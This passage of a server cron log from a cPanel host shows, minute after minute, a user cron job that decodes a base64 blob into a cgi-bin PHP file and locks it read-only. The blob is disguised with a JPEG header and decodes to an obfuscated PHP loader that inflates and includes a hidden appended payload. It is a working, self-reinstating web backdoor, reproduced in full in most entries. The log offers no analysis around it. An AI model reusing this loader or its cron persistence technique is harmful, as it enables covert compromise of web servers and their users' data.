&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:50:01 server CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:50:01 server CROND[17133]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:50:01 server CROND[17134]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:50:01 server CROND[17135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 12:50:01 server CROND[17136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:51:01 server CROND[18120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:52:01 server CROND[18968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:53:01 server CROND[19761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:54:01 server CROND[20621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:55:01 server CROND[21562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:55:01 server CROND[21564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:55:01 server CROND[21565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:56:01 server CROND[21973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:57:01 server CROND[22825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:57:01 server CROND[22826]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:58:01 server CROND[23702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:59:01 server CROND[24581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:00:01 server CROND[25476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:00:01 server CROND[25479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:00:01 server CROND[25480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:00:01 server CROND[25478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 13:01:01 server CROND[26359]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 13:01:01 server CROND[26360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:01:01 server run-parts(/etc/cron.hourly)[26359]: starting 0anacron
Nov 14 13:01:01 server run-parts(/etc/cron.hourly)[26372]: finished 0anacron
